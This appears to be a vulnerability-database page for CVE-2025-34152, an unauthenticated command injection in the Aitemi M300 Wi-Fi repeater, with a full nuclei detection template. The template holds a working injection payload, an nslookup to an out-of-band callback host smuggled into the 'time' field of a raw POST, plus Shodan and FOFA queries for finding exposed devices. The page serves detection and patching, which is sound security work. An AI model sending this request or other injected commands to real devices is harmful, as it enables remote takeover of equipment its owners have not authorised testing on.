HexBrain

Browse / CVEs / CVE-2025-34152

CVE-2025-34152

Shenzhen Aitemi M300 Wi-Fi Repeater – Unauthenticated Remote Command Execution via `time` Parameter

criticalseverity
83.8%likelihood of exploitation, next 30 days
100%of all CVEs are less likely
Readycheck to confirm it

An unauthenticated OS command injection vulnerability exists in the Shenzhen Aitemi M300 Wi-Fi Repeater (hardware model MT02) via the 'time' parameter of the '/protocol.csp?' endpoint. The input is processed by the internal date '-s' command without rebooting or disrupting HTTP service. Unlike other injection points, this vector allows remote compromise without triggering visible configuration changes.

Impact

Unauthenticated attackers can execute arbitrary operating system commands through the time parameter in the protocol.csp endpoint without disrupting device operation.

Fix

Update Shenzhen Aitemi M300 Wi-Fi Repeater firmware to the latest version that properly sanitizes the time parameter.

How to confirm it

Send: POST /protocol.csp?x
Positive when: contains(interactsh_protocol, "dns") and contains_all(body, "error","opt") and contains(content_type, "text/plain")

Run it with nuclei: nuclei -id CVE-2025-34152 -u <target>

The full check
id: CVE-2025-34152

info:
  name: Shenzhen Aitemi M300 Wi-Fi Repeater – Unauthenticated Remote Command Execution via `time` Parameter
  author: Chocapikk,DhiyaneshDk
  severity: critical
  description: |
    An unauthenticated OS command injection vulnerability exists in the Shenzhen Aitemi M300 Wi-Fi Repeater (hardware model MT02) via the 'time' parameter of the '/protocol.csp?' endpoint. The input is processed by the internal date '-s' command without rebooting or disrupting HTTP service. Unlike other injection points, this vector allows remote compromise without triggering visible configuration changes.
  impact: |
    Unauthenticated attackers can execute arbitrary operating system commands through the time parameter in the protocol.csp endpoint without disrupting device operation.
  remediation: |
    Update Shenzhen Aitemi M300 Wi-Fi Repeater firmware to the latest version that properly sanitizes the time parameter.
  reference:
    - https://chocapikk.com/posts/2025/when-a-wifi-name-gives-you-root-part-two/
    - https://github.com/rapid7/metasploit-framework/pull/20455/files
    - https://nvd.nist.gov/vuln/detail/CVE-2025-34152
  metadata:
    verified: true
    max-request: 1
    shodan-query: http.favicon.hash:-741058468 "lighttpd/1.4.32"
    fofa-query: icon_hash="-741058468" && server=="lighttpd/1.4.32"
  tags: cve,cve2025,aitemi,m300,wifi,unauth,rce,vkev,vuln

variables:
  payload: "`$(nslookup {{interactsh-url}})`"

http:
  - raw:
      - |
        POST /protocol.csp?x HTTP/1.1
        Host: {{Hostname}}
        Accept: application/json, text/javascript, */*; q=0.01
        Content-Type: application/x-www-form-urlencoded; charset=UTF-8
        X-Requested-With: XMLHttpRequest
        Origin: {{RootURL}}
        Referer: {{RootURL}}/network.html

        fname=system&opt=time_conf&function=set&time={{url_encode(payload)}}

    matchers:
      - type: dsl
        dsl:
          - 'contains(interactsh_protocol, "dns")'
          - 'contains_all(body, "error","opt")'
          - 'contains(content_type, "text/plain")'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from